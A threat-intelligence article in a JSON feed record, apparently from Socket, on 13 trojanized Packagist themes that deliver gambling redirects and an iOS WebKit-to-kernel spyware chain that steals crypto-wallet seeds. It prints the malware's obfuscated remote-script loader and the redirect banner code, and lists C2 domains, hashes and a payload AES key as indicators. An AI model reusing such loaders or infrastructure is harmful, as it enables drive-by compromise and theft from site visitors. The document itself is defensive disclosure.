[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fS8xk4wI_yUSB7k2ex04eJX73YdL2tvSsgnpmWKMwf-w":3},{"article":4,"iocs":55},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"full_text":11,"url":12,"image_url":13,"published_at":14,"ingested_at":15,"relevance_score":16,"entities":17,"category_id":32,"category":33,"article_tags":37},"b27ed489-6826-44f9-b463-b837665c96f7","13 Malicious Packagist Themes Deliver iOS Spyware That Steals Crypto Wallet Seeds","13-malicious-packagist-themes-deliver-ios-spyware-that-steals-crypto-wallet-seed-b74e5a","Socket’s Threat Research Team found 13 malicious Composer theme packages on Packagist, published across five vendor namespaces, that inject JavaScript into every page of the Vietnamese movie and comic streaming sites that install them. The injected code runs two operations against a site’s visitors: a mobile ad-fraud and gambling-redirect chain, and, on iPhones, a WebKit-to-kernel exploit chain that installs spyware. We reported the iOS chain to Apple and coordinated disclosure. Apple confirmed the kernel escape was already fixed in iOS and macOS 26.1 before our report, and the two WebKit entry points are public and listed in CISA's Known Exploited Vulnerabilities catalog. Our earlier research covered six themes under a single vendor (ophimcms); this expands the confirmed set to 13 packages across five vendors and follows the chain through to the iOS payload and its most recent redeployment. The 13 packages are: vsmov: theme-dy, theme-rrdyw, theme-motchill, theme-vsmov vsphim: theme-heovl, theme-thempho haiau009: kkphim-legend, kkphim-motchill chilltvcms: theme-legend ophimcms: theme-dy, theme-motchill, theme-pcc, theme-rrdyw Our previous report in March regarding the initial FUNNULL campaign named six ophimcms themes (theme-dy, theme-mtyy, theme-rrdyw, theme-pcc, theme-motchill, theme-legend). The theme-legend payload has since relocated to chilltvcms\u002Ftheme-legend and haiau009\u002Fkkphim-legend (counted under those vendors above). The campaign at a glance: a trojanized Composer theme injects JavaScript that runs a mobile gambling redirect and, on iPhones, a FUNNULL-hosted WebKit-to-kernel exploit chain ending in spyware and crypto-wallet theft. The poster shows the five keychain query routines, which cover seven wallet apps. # OphimCMS and KKPhim are open source PHP content management systems, built on Laravel, used to run Vietnamese-language movie and comic streaming sites. A site operator installs a core package plus a theme with composer require. The theme ships the site’s front-end assets: jQuery, sliders, players, and site scripts. The threat actors fork these projects under their own vendor namespaces, keep the scaffolding intact, and trojanize the shipped front-end assets. A site operator who installs one of these themes serves malicious JavaScript to every visitor. The upstream author handle remains inside the forks, so these are hostile republishes. Delivery mechanism # The malicious code ships in the theme JavaScript. The loaders gate on platform and referrer so that mobile visitors are targeted while desktop browsers, bots, and direct visits are passed over. Branch one: mobile gambling and ad-fraud indexbottom.js and the ADTOPLB plugin in topinfo.js (theme-rrdyw) inject a fixed banner for mobile visitors that links to a redirect host and loads ad images from im[.]ue8im[.]com. The banner is built only when the visitor’s user agent matches iPhone, iPod, Android, or iOS: if((navigator.userAgent.match(\u002F(iPhone|iPod|Android|ios)\u002Fi))) { var target_url = \"http:\u002F\u002F23[.]225[.]52[.]67:4466\u002Fvip344.html\"; var pics=['https:\u002F\u002Fim.ue8im.com\u002Fwg-2023440066\u002F640-100-1.gif']; var picurl = pics[Math.floor(Math.random()*pics.length)]; var aa$ = $(' '); } The banner links to 23[.]225[.]52[.]67:4466\u002Fvip344.html, which meta-refreshes to 23[.]225[.]48[.]20:4466\u002Fvip\u002Findex.php, which sets a session cookie and forwards to a randomized-subdomain .vip gambling landing page on port 7740. The campaign identifier vip344 rides the chain. Branch two: the iOS WebKit to kernel chain theme-dy appends a loader after the shipped jQuery. The loader uses a custom base64 decoder (avoiding the native atob) and fires on non-desktop platforms arriving with an external referrer. It pulls a second stage from FUNNULL infrastructure. The base64 argument decodes to union[.]macoms[.]la\u002Fjquery.min-3.6.8.js, and the loader builds a script element that points at the decoded URL: eval('window')['KuCbGF']=function(){ (function(u,r,w,d,f,c){ var x = iScfnleC; u = decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c))); var s = d.createElement('script'); s.src=u; d.getElementsByTagName('head')[0].appendChild(s) })('aHR0cHM6Ly91bmlvbi5tYWNvbXMubGEvanF1ZXJ5Lm1pbi0zLjYuOC5qcw==', ...) }; if( !(\u002F^Mac|Win\u002F.test(navigator.platform)) && (document.referrer.indexOf('.') !== -1) ) KuCbGF(); union[.]macoms[.]la\u002Fjquery.min-3.6.8.js injects cdn[.]data-2920[.]com\u002Fapp.vue.js, which redirects to www[.]cloudfareintcdn[.]com\u002Fin-static.js (a Cloudflare-impersonating domain). That injects a hidden iframe to start-view.html, which reads the iOS version and loads a version-specific WebKit exploit. The renderer stage weaponizes two WebKit vulnerabilities, annotated in the code as CVE-2025-31277 (iOS 18.4 to 18.5) and CVE-2025-43529 (iOS 18.6 and later). Both are now public, patched, and listed in CISA’s Known Exploited Vulnerabilities catalog, and Apple has acknowledged that CVE-2025-43529 was exploited in a targeted attack against specific individuals. The chain carries per-build, per-chipset offset tables for iOS 18.4 through 18.6.x and iPhone XS through the iPhone 16 family, and targets devices that have not updated past those versions. The exploit builds arbitrary read and write inside the WebContent renderer using JavaScriptCore corruption primitives (object-address disclosure, fake objects, and a corrupted typed array). These renderer CVEs and the staging pattern overlap with the publicly documented “DarkSword” iOS exploit kit. The renderer stage reads the iPhone OS version from the user agent and fetches a payload matched to it, annotating each branch with the WebKit CVE it weaponizes. GPU process pivot A first escape stage moves from the renderer into the GPU process, building a cross-process memory primitive with IOSurface and mach messaging and forging pointer-authentication signed pointers. Kernel escape A second stage reaches the kernel through the AppleM2ScalerCSCDriver IOKit user client, opened from a sandboxed context by pivoting through a mediaplaybackd XPC service. The code opens the driver (IOServiceOpen type 0) and calls external method selector 1 (the “transform”) with a 432-byte input struct carrying two IOSurface IDs. This driver and interface are the same ones disclosed publicly as CVE-2026-43655 (an AppleM2ScalerCSCDriver use-after-free fixed in iOS 26.5), and the public CVE-2026-43655 proof-of-concept exercises the identical selector-1 \u002F 432-byte \u002F two-IOSurface-ID surface. The FUNNULL chain’s kernel bug is a distinct primitive from CVE-2026-43655. The public CVE-2026-43655 proof-of-concept is a connection-teardown use-after-free on the scaler’s shared scheduler objects, whereas the FUNNULL chain races the IOSurface backing store to obtain a kernel read and write. Apple Product Security confirmed to us that the chain’s kernel escape was already addressed in iOS and macOS 26.1, so this stage is an n-day used against devices that have not updated. The same driver received further hardening through iOS 26.5 under CVE-2026-43655. Spyware payload On success, the final payload uses the kernel read to collect keychain databases, Wi-Fi passwords, the SMS database, the address book, Photos, browser cookies, call history, location history, and account databases, encrypts them with AES, and uploads them over HTTPS POST \u002Fupload to a rotating pool of command and control domains. The worker beacons exploitation progress to cloudfareintcdn[.]com\u002Fwd-status.html. The payload reads each sensitive store from a hardcoded path: keychain, Wi-Fi passwords, messages, contacts, cookies, browsing and call history, location, health, accounts, notes, calendar, and photos. The payload configuration carries a hardcoded AES key, a per-build channel identifier, and a pool of rotating command and control domains that receive the encrypted upload. Redeployment and crypto-wallet escalation On 2026-08-12 the operators redeployed the entire iOS chain under fresh filenames (a new orchestrator, stager, renderer, workers, kernel stage, and payload), and rotated the second-stage loader again on 2026-08-17. The previous filenames continue to return content in parallel. The renderer still weaponizes only CVE-2025-31277 and CVE-2025-43529, and the offset tables still cover only iOS 18.4 through 18.6.x, with no tables for iOS 18.7 or iOS 26, so the operators are targeting unpatched devices rather than attempting current iOS. The redeployed payload roughly doubled in size and added an iOS-keychain crypto-wallet seed and mnemonic stealer. It queries the keychain for wallet material from Bitget, BitKeep, Bitpie, Phantom, Tonkeeper, Trust Wallet, and OKX (keychain_query_bitget, keychain_query_bitpie, keychain_query_phantom, keychain_query_tonkeeper, keychain_query_trust, mnemonics_vault_), extending the campaign from device-data collection to direct financial theft. The payload configuration carries a hardcoded AES key and a per-build channel identifier. Techniques # Several capabilities recur across the packages: Staged, admin-activated payloads: theme-motchill and theme-vsmov ship functions.js containing an MPAd class that builds a element pointed at a config-supplied URL and appends it to the page, executing arbitrary remote JavaScript, plus a full-viewport mp-preload-popup-overlay interstitial ad. theme-dy ships pre-declared ad-injection hooks (indextop, content_zaixian, play_diyi, and others). These are wired to activate from the fetched second stage or from the theme’s own admin “Custom JS” settings fields, which the themes render into every page unescaped via Blade {!! !!}. Disguised cryptography: theme-motchill ships jquery.core.min.js, which is a renamed CryptoJS bundle (the JQMP namespace) providing AES and PBKDF2, used by a jquery_beauty() routine keyed off document.referrer and the episode id to sign ad-network requests.t Encrypted server-side code: theme-thempho is malicious through its shipped JavaScript (the jquery_beauty injection in js.cookie.js), and it additionally ships its ServiceProvider, route table, controller, and migrations as ionCube-encrypted PHP bytecode. That encrypted code is the theme’s entire account system: email and password login, Google OAuth, registration, and password change. The client posts credentials to \u002Fauth\u002Flogin, and the receiving handler runs as opaque bytecode. Analytics abuse: tj.js beacons to hm[.]baidu[.]com\u002Fhm.js and sdk[.]51[.]la under campaign-specific site IDs. Anti-analysis: phimv2.3.js installs a devtools-detection redirect to xemphimlau[.]com and, on non-Chrome browsers, blocks F12 and right-click and runs an infinite debugger loop. # The 13 packages are the confirmed-malicious set. The same five vendor namespaces publish additional theme packages that, as shipped today, carry no active payload. Those packages should be treated as untrusted, for three concrete reasons observed in this campaign: Same operators: The confirmed-malicious and the currently-inactive packages are authored by the same accounts (one committer email owns both vsmov and vsphim, and the byte-identical phimv2.3.js payload appears under three separate identities). The newest carrier, vsmov\u002Ftheme-vsmov, was published from the same vsphim GitHub account by the same committer email in July 2026, showing the operators are still adding packages. The activation mechanism is already present. Every theme in these vendors, including the currently-inactive ones, exposes admin “Custom JS” fields rendered into every page via {!! !!}, and the malicious themes demonstrate the exact staged hooks those fields switch on. An operator can arm an inactive theme through a package update or a change to the site’s stored settings, with no new package required. Encrypted account code: theme-themphim, published alongside the malicious theme-thempho, ships the same ionCube-encrypted account system as opaque bytecode from the same operator that ships confirmed spyware delivery. Treat any package from vsmov, vsphim, haiau009, chilltvcms, or ophimcms as untrusted. Infrastructure and attribution # The iOS exploit hosts run on FUNNULL infrastructure. Direct DNS and WHOIS resolution show that cdn[.]data-2920[.]com, www[.]cloudfareintcdn[.]com, and the 20 exfiltration domains CNAME-cloak into yunray[.]ai with self-hosted name servers, and union[.]macoms[.]la resolves through the control plane nqsaaskw[.]com delegated to cdn1[.]ai. Silent Push names Yunray and CDN1 as FUNNULL front infrastructure, and macoms[.]la is the domain family tied to the 2024 Polyfill.io supply-chain incident. The 20 exfiltration domains were bulk-registered in a single burst on 2026-06-02, and all remain live as of the writing of this report. A newer front, abfedgecanme[.]com (name servers abfdns[.]com and galedns[.]com), fronts the campaign host v7[.]kkphimplayer7[.]com, and the gambling host im[.]ue8im[.]com now resolves through lsmzt[.]cc. Live resolution of the delivery and exfiltration hosts: each CNAME-cloaks into a per-host subdomain of yunray[.]ai, and union[.]macoms[.]la routes through the nqsaaskw[.]com control plane. Attribution points to several independent groups that share one sanctioned provider, not a single actor or a single-nationality operation. The only connective tissue across the operations below is FUNNULL itself, which is shared provisioning rather than shared personnel. The shared delivery infrastructure is FUNNULL (Triad Nexus), administered by Liu Lizhi, a Chinese national, and sanctioned by OFAC on 2025-05-29 for facilitating over 200 million dollars in cryptocurrency scams. The Packagist theme operators run on Vietnamese time. Commit metadata across the theme accounts carries a UTC+07:00 (Indochina) signature, and two of the accounts self-identify with Vietnamese names and a Hanoi location, publishing forks of Vietnamese movie-piracy CMS projects. The group’s most central publishing account commits largely from United States Pacific offsets and is tied to the group by shared repositories rather than by a self-declared identity, so we attribute the operation to a Vietnamese-operated group without asserting the personal nationality of every individual. They are FUNNULL tenants, not owners. The iOS exploit kit is commodity or broker capability. DarkSword's named operators are Russian and Turkish (GTIG-URL), whereas the FUNNULL chain's kernel stage is a sibling of the public CVE rather than the same bug, consistent with a distinct fork or tenant. The provenance of the FUNNULL variant cannot be resolved from available evidence. The npm gambling configuration dead-drop described below is a separate operation whose artifacts are Chinese: a UTC+08:00 publish signature across thousands of package versions, Chinese commit messages and runtime strings, and Chinese gambling branding. We found no shared identity, email, handle, or registrant between this gambling operation and the Vietnamese theme operators. They are independent tenants of the same sanctioned provider. The gambling and ad-fraud redirect hosts (23[.]225[.]52[.]67, 23[.]225[.]48[.]20, im[.]ue8im[.]com) run on separate infrastructure from the exploit CDN. The same FUNNULL address space also carries an unrelated tenant, which illustrates how the provider operates across ecosystems. A Chinese sports-gambling and pirate-streaming operation, documented by Panther Threat Research in May 2026, publishes more than 50 npm packages across four publisher scopes that function purely as a configuration dead-drop. Each package ships a base64-encoded JSON blob whose cdn field decodes to the literal string funnull and which names the current live backend domain, so an installed betting app can resolve a working endpoint as domains are burned and republished every few minutes. Those tenant domains (for example dq87771[.]com) resolve, through a two-hop kanejwo[.]com to iiauuw[.]com CNAME cloak, into the same Hong Kong FUNNULL address ranges as this campaign’s exploit fronts, and a sibling tenant domain CNAMEs directly to the published FUNNULL indicator funnull01[.]vip. This is a different operator with a different payload, gambling configuration rather than an exploit, riding the same landlord. FUNNULL rents resilient front infrastructure to multiple independent criminal tenants, and npm registry abuse is one tenant’s delivery choice, not a property of the exploit operator. Impact # A visitor to a site that installed one of these themes, on an iPhone that has not been updated past iOS 18.6.x (iPhone XS through iPhone 16), can have their keychain, Wi-Fi passwords, SMS, Photos, contacts, cookies, location history, account databases, and cryptocurrency wallet seeds collected and exfiltrated by loading a page in mobile Safari. The kernel escape was addressed in iOS 26.1 and the WebKit entry points in iOS 18.7.3 and iOS 26.2, so a device updated to iOS 26.2 or later (or iOS 18.7.3 on the iOS 18 line) is not exposed to the known stages; the campaign preys on devices left on older versions. Every mobile visitor is also subject to the gambling-redirect and ad-injection chain. The site operators are victims too: they shipped the trojanized theme unknowingly and serve the payload to their own users. Recommendations # For site operators using OphimCMS or KKPhim Audit installed theme packages against the vendor list below. If you installed a theme from vsmov, vsphim, haiau009, chilltvcms, or ophimcms, remove it, rotate credentials handled on the host, and inspect shipped jQuery and theme scripts for appended loaders and for the network indicators below. For developers Pin and review Composer dependencies, including theme and asset packages. Treat front-end assets shipped inside packages as code that executes in your users’ browsers. Review new or low-reputation vendor namespaces before adding them. For security teams Block the network indicators below. Hunt for the session-storage keys rce_locked and uid, the staggered iframe loader, beacons to cloudfareintcdn[.]com\u002Fwd-status.html, and the wallet-theft strings (keychain_query_bitget and siblings). Prioritize updating iPhones off iOS 18.6.x and earlier. Socket detects threats like this across the full dependency graph, including trojanized front-end assets shipped inside packages, before they reach developer environments. The Socket GitHub App scans pull request dependency changes and flags injected or obfuscated code before merge. The Socket CLI enforces allow and deny rules in CI pipelines. Socket Firewall blocks known malicious packages before they are fetched. The Socket browser extension surfaces risk signals while browsing npm. Socket MCP prevents AI-assisted coding workflows from introducing suspicious dependencies into your codebase. Socket flags vsphim\u002Ftheme-heovl@1.0.0 as known malware, identifying the trojanized front-end assets and the FUNNULL-hosted iOS WebKit-to-kernel chain they deliver. # T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools T1608.001 - Stage Capabilities: Upload Malware T1608.004 - Stage Capabilities: Drive-by Target T1102 - Web Service (npm registry as a dead-drop resolver, related tenant) T1189 - Drive-by Compromise T1203 - Exploitation for Client Execution T1068 - Exploitation for Privilege Escalation T1027 - Obfuscated Files or Information T1140 - Deobfuscate\u002FDecode Files or Information T1480 - Execution Guardrails T1497 - Virtualization\u002FSandbox Evasion T1552.001 - Unsecured Credentials: Credentials In Files (keychain wallet theft) T1041 - Exfiltration Over C2 Channel T1071.001 - Application Layer Protocol: Web Protocols # Malicious Packagist packages vsmov\u002Ftheme-dy vsmov\u002Ftheme-rrdyw vsmov\u002Ftheme-motchill vsmov\u002Ftheme-vsmov vsphim\u002Ftheme-heovl vsphim\u002Ftheme-thempho haiau009\u002Fkkphim-legend haiau009\u002Fkkphim-motchill chilltvcms\u002Ftheme-legend ophimcms\u002Ftheme-dy ophimcms\u002Ftheme-motchill ophimcms\u002Ftheme-pcc ophimcms\u002Ftheme-rrdyw Threat Actor handles and emails Packagist vendors: vsmov, vsphim, haiau009, chilltvcms, ophimcms GitHub source account: vsphim Committer emails: clemenciajohn74@gmail[.]com, dev.cuongnguyen@gmail[.]com, nguyenhai.tran.009@gmail[.]com, xuxuthoi01@gmail[.]com , tuwibu2021@gmail[.]com Network Indicators Delivery and exploit infrastructure union[.]macoms[.]la\u002Fjquery.min-3.6.8.js cdn[.]data-2920[.]com cdn[.]data-2919[.]com www[.]cloudfareintcdn[.]com yunray[.]ai cdn1[.]ai nqsaaskw[.]com abfedgecanme[.]com abfdns[.]com galedns[.]com Exfiltration C2 www[.]0liwevrhxdc3s2xk00[.]com www[.]39rwcybep-20pwozhvdrzzy[.]net www[.]5wg3w278e3oamlohmcinrkh[.]live www[.]dlosdekr1u18msmov51[.]net www[.]ex0x40vmi8qyccxq[.]net www[.]ioa7xqmhiz26fv5e[.]info www[.]isbo31w1o7xk3fztvmgpbv[.]app www[.]jhflt6l0dwminsl494836rb[.]org www[.]kp2-3ur6pe4r8i2hj5[.]com www[.]ljot1cem6jhzfu53yb9aj3h[.]app www[.]ncalb1rzb2rq5-3zdx1[.]app www[.]ov86ayb0fe4ep2b92-645o[.]com www[.]qdh71-y6j7vxgw046v4cvgga[.]live www[.]sx3cjniwo1bmtqs0vlj-va2f[.]app www[.]sx8vuz4smtdol7pg[.]com www[.]t9ffxu6zhf915fadjv1[.]app www[.]vutjsf0sd9sdqt2rkzvgzv9a[.]org www[.]w4iunvbdvjof39q-3[.]net www[.]xtpj2bzxip6iq7n3bnz[.]info www[.]zfu4n4kxgmx32hsqg[.]cc Gambling and ad-fraud 23[.]225[.]52[.]67:4466 23[.]225[.]48[.]20:4466 im[.]ue8im[.]com xl0ph4qz[.]vip:7740 cre-ads[.]com Exploit stage files (SHA-256 Hashes) start-view.html : 60b6771958cb7e553994ba6752f108575ba70e02d24affb51d8936a17eb0bf5e a4tt4g37f36gdd7q7kdc.js (renderer loader, CVE annotations): d9530e8cd79ac7b3d02b04e05426653afca7075fcf7424eec4d59c6e95745933 a84snnb6pknt3aflt01r.js (iOS 18.4 to 18.5 RCE) : 92c7d246d2c163c076f783dcc19f87f5b9b9ac301b106b87a7aaea9346ce0052 921w48jmeqvt3ygn0wwx.js (kernel escape): f2fdfddbc436acc24a654092f5205b2c5bd3208b126b2c2754ac63e7aea22298 4ap5xpu18z70wwslqybu.js (spyware payload): 9d6b58886189c0e23f706c32d3d8dda97b0b6d927ece6de07270813f070295b5 qljbd9a1h4a83gw8lxcj.js (iOS 18.6+ worker): de539a63cbe27bbd4a7db30fc796cd6dc5309c02ef5e60a3c5cf0835e5601283 A parallel chain redeployed on 2026-08-12 serves the same stages under fresh filenames (orchestrator 98jgbibyeep2qfkvcq.html, kernel stage pf2zdl2b4i4cxggjg9s7.js, spyware payload sejpbqlu090u7lz0z6ax.js, among others); full hashes for the redeployed set are recorded in our evidence bundle. The exploit is version-gated at runtime, so the per-iOS-version RCE payloads are served conditionally. Crypto-wallet spyware AES key: 9_X1 M=\u003C;5 Channel identifier: 22c75b2ee026dbbf7001cfdc2bb47855","Researchers discovered 13 malicious Composer theme packages on Packagist, disguised as legitimate themes for Vietnamese movie and comic streaming sites. These packages inject JavaScript to perform mobile ad-fraud and gambling redirects, and critically, on iPhones, a WebKit-to-kernel exploit chain that installs spyware. This spyware targets unpatched iOS devices (versions prior to iOS 18.7.3 or 26.2) to steal sensitive data, including cryptocurrency wallet seeds.","13 malicious Packagist themes deliver iOS spyware that steals crypto wallet seeds.","Back[Research][Security News]13 Malicious Packagist Themes Deliver iOS Spyware That Steals Crypto Wallet SeedsThirteen malicious Packagist themes expose visitors on unpatched iPhones to a WebKit-to-kernel exploit chain that steals device data and wallet seeds.Kush PandyaAug 31, 2026|12 min readSocket’s Threat Research Team found 13 malicious Composer theme packages on Packagist, published across five vendor namespaces, that inject JavaScript into every page of the Vietnamese movie and comic streaming sites that install them. The injected code runs two operations against a site’s visitors: a mobile ad-fraud and gambling-redirect chain, and, on iPhones, a WebKit-to-kernel exploit chain that installs spyware. We reported the iOS chain to Apple and coordinated disclosure. Apple confirmed the kernel escape was already fixed in iOS and macOS 26.1 before our report, and the two WebKit entry points are public and listed in CISA's Known Exploited Vulnerabilities catalog. Our earlier research covered six themes under a single vendor (ophimcms); this expands the confirmed set to 13 packages across five vendors and follows the chain through to the iOS payload and its most recent redeployment.The 13 packages are:vsmov: theme-dy, theme-rrdyw, theme-motchill, theme-vsmovvsphim: theme-heovl, theme-themphohaiau009: kkphim-legend, kkphim-motchillchilltvcms: theme-legendophimcms: theme-dy, theme-motchill, theme-pcc, theme-rrdywOur previous report in March regarding the initial FUNNULL campaign named six ophimcms themes (theme-dy, theme-mtyy, theme-rrdyw, theme-pcc, theme-motchill, theme-legend). The theme-legend payload has since relocated to chilltvcms\u002Ftheme-legend and haiau009\u002Fkkphim-legend (counted under those vendors above).The campaign at a glance: a trojanized Composer theme injects JavaScript that runs a mobile gambling redirect and, on iPhones, a FUNNULL-hosted WebKit-to-kernel exploit chain ending in spyware and crypto-wallet theft. The poster shows the five keychain query routines, which cover seven wallet apps.Background#OphimCMS and KKPhim are open source PHP content management systems, built on Laravel, used to run Vietnamese-language movie and comic streaming sites. A site operator installs a core package plus a theme with composer require. The theme ships the site’s front-end assets: jQuery, sliders, players, and site scripts.The threat actors fork these projects under their own vendor namespaces, keep the scaffolding intact, and trojanize the shipped front-end assets. A site operator who installs one of these themes serves malicious JavaScript to every visitor. The upstream author handle remains inside the forks, so these are hostile republishes.Delivery mechanism#The malicious code ships in the theme JavaScript. The loaders gate on platform and referrer so that mobile visitors are targeted while desktop browsers, bots, and direct visits are passed over.Branch one: mobile gambling and ad-fraud#indexbottom.js and the ADTOPLB plugin in topinfo.js (theme-rrdyw) inject a fixed banner for mobile visitors that links to a redirect host and loads ad images from im[.]ue8im[.]com. The banner is built only when the visitor’s user agent matches iPhone, iPod, Android, or iOS:JavaScriptif((navigator.userAgent.match(\u002F(iPhone|iPod|Android|ios)\u002Fi))) { var target_url = \"http:\u002F\u002F23[.]225[.]52[.]67:4466\u002Fvip344.html\"; var pics=['https:\u002F\u002Fim.ue8im.com\u002Fwg-2023440066\u002F640-100-1.gif']; var picurl = pics[Math.floor(Math.random()*pics.length)]; var aa$ = $('\u003Ca target=\"_blank\" href=\"' + target_url + '\">\u003Cimg src=\"' + picurl + '\">\u003C\u002Fa>'); }The banner links to 23[.]225[.]52[.]67:4466\u002Fvip344.html, which meta-refreshes to 23[.]225[.]48[.]20:4466\u002Fvip\u002Findex.php, which sets a session cookie and forwards to a randomized-subdomain .vip gambling landing page on port 7740. The campaign identifier vip344 rides the chain.Branch two: the iOS WebKit to kernel chain#theme-dy appends a loader after the shipped jQuery. The loader uses a custom base64 decoder (avoiding the native atob) and fires on non-desktop platforms arriving with an external referrer. It pulls a second stage from FUNNULL infrastructure. The base64 argument decodes to union[.]macoms[.]la\u002Fjquery.min-3.6.8.js, and the loader builds a script element that points at the decoded URL:JavaScripteval('window')['KuCbGF']=function(){ (function(u,r,w,d,f,c){ var x = iScfnleC; u = decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c))); var s = d.createElement('script'); s.src=u; d.getElementsByTagName('head')[0].appendChild(s) })('aHR0cHM6Ly91bmlvbi5tYWNvbXMubGEvanF1ZXJ5Lm1pbi0zLjYuOC5qcw==', ...) }; if( !(\u002F^Mac|Win\u002F.test(navigator.platform)) && (document.referrer.indexOf('.') !== -1) ) KuCbGF();union[.]macoms[.]la\u002Fjquery.min-3.6.8.js injects cdn[.]data-2920[.]com\u002Fapp.vue.js, which redirects to www[.]cloudfareintcdn[.]com\u002Fin-static.js (a Cloudflare-impersonating domain). That injects a hidden iframe to start-view.html, which reads the iOS version and loads a version-specific WebKit exploit.The renderer stage weaponizes two WebKit vulnerabilities, annotated in the code as CVE-2025-31277 (iOS 18.4 to 18.5) and CVE-2025-43529 (iOS 18.6 and later). Both are now public, patched, and listed in CISA’s Known Exploited Vulnerabilities catalog, and Apple has acknowledged that CVE-2025-43529 was exploited in a targeted attack against specific individuals. The chain carries per-build, per-chipset offset tables for iOS 18.4 through 18.6.x and iPhone XS through the iPhone 16 family, and targets devices that have not updated past those versions. The exploit builds arbitrary read and write inside the WebContent renderer using JavaScriptCore corruption primitives (object-address disclosure, fake objects, and a corrupted typed array). These renderer CVEs and the staging pattern overlap with the publicly documented “DarkSword” iOS exploit kit.The renderer stage reads the iPhone OS version from the user agent and fetches a payload matched to it, annotating each branch with the WebKit CVE it weaponizes.GPU process pivot#A first escape stage moves from the renderer into the GPU process, building a cross-process memory primitive with IOSurface and mach messaging and forging pointer-authentication signed pointers.Kernel escape#A second stage reaches the kernel through the AppleM2ScalerCSCDriver IOKit user client, opened from a sandboxed context by pivoting through a mediaplaybackd XPC service. The code opens the driver (IOServiceOpen type 0) and calls external method selector 1 (the “transform”) with a 432-byte input struct carrying two IOSurface IDs. This driver and interface are the same ones disclosed publicly as CVE-2026-43655 (an AppleM2ScalerCSCDriver use-after-free fixed in iOS 26.5), and the public CVE-2026-43655 proof-of-concept exercises the identical selector-1 \u002F 432-byte \u002F two-IOSurface-ID surface.The FUNNULL chain’s kernel bug is a distinct primitive from CVE-2026-43655. The public CVE-2026-43655 proof-of-concept is a connection-teardown use-after-free on the scaler’s shared scheduler objects, whereas the FUNNULL chain races the IOSurface backing store to obtain a kernel read and write. Apple Product Security confirmed to us that the chain’s kernel escape was already addressed in iOS and macOS 26.1, so this stage is an n-day used against devices that have not updated. The same driver received further hardening through iOS 26.5 under CVE-2026-43655.Spyware payload#On success, the final payload uses the kernel read to collect keychain databases, Wi-Fi passwords, the SMS database, the address book, Photos, browser cookies, call history, location history, and account databases, encrypts them with AES, and uploads them over HTTPS POST \u002Fupload to a rotating pool of command and control domains. The worker beacons exploitation progress to cloudfareintcdn[.]com\u002Fwd-status.html.The payload reads each sensitive store from a hardcoded path: keychain, Wi-Fi passwords, messages, contacts, cookies, browsing and call history, location, health, accounts, notes, calendar","https:\u002F\u002Fsocket.dev\u002Fblog\u002Fpackagist-themes-ios-spyware?utm_medium=feed","https:\u002F\u002Fcdn.sanity.io\u002Fimages\u002Fcgdhsj6q\u002Fproduction\u002F1a11948afcedfed3b8cb7bf75c78122abe80cffc-1672x941.png?w=1000&q=95&fit=max&auto=format","2026-08-31T14:25:35.66+00:00","2026-08-31T16:00:20.13809+00:00",9,[18,21,23,25,27,29],{"name":19,"type":20},"Composer","product",{"name":22,"type":20},"OphimCMS",{"name":24,"type":20},"KKPhim",{"name":26,"type":20},"jQuery",{"name":28,"type":20},"iOS",{"name":30,"type":31},"WebKit","technology","89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5",{"id":32,"icon":34,"name":35,"slug":36},null,"Malware","malware",[38,43,48,50],{"category":39},{"id":40,"icon":34,"name":41,"slug":42},"26b0b636-0e31-4db1-bffb-61bdf9f20a58","Supply Chain","supply-chain",{"category":44},{"id":45,"icon":34,"name":46,"slug":47},"80544778-fabb-4dcd-aa35-17492e5dcf4f","Vulnerabilities","vulnerabilities",{"category":49},{"id":32,"icon":34,"name":35,"slug":36},{"category":51},{"id":52,"icon":34,"name":53,"slug":54},"e7b231c8-5f79-4465-8d38-1ef13aea5a14","Threat Intelligence","threat-intelligence",[56,60,63,66,69,72,75,79,81],{"type":57,"value":58,"context":59},"hash_sha256","60b6771958cb7e553994ba6752f108575ba70e02d24affb51d8936a17eb0bf5e","SHA-256 hash for start-view.html.",{"type":57,"value":61,"context":62},"d9530e8cd79ac7b3d02b04e05426653afca7075fcf7424eec4d59c6e95745933","SHA-256 hash for a4tt4g37f36gdd7q7kdc.js (renderer loader).",{"type":57,"value":64,"context":65},"92c7d246d2c163c076f783dcc19f87f5b9b9ac301b106b87a7aaea9346ce0052","SHA-256 hash for a84snnb6pknt3aflt01r.js (iOS 18.4 to 18.5 RCE).",{"type":57,"value":67,"context":68},"f2fdfddbc436acc24a654092f5205b2c5bd3208b126b2c2754ac63e7aea22298","SHA-256 hash for 921w48jmeqvt3ygn0wwx.js (kernel escape).",{"type":57,"value":70,"context":71},"9d6b58886189c0e23f706c32d3d8dda97b0b6d927ece6de07270813f070295b5","SHA-256 hash for 4ap5xpu18z70wwslqybu.js (spyware payload).",{"type":57,"value":73,"context":74},"de539a63cbe27bbd4a7db30fc796cd6dc5309c02ef5e60a3c5cf0835e5601283","SHA-256 hash for qljbd9a1h4a83gw8lxcj.js (iOS 18.6+ worker).",{"type":76,"value":77,"context":78},"cve","CVE-2025-31277","WebKit vulnerability exploited in iOS chain.",{"type":76,"value":80,"context":78},"CVE-2025-43529",{"type":76,"value":82,"context":83},"CVE-2026-43655","AppleM2ScalerCSCDriver vulnerability exploited in iOS chain."]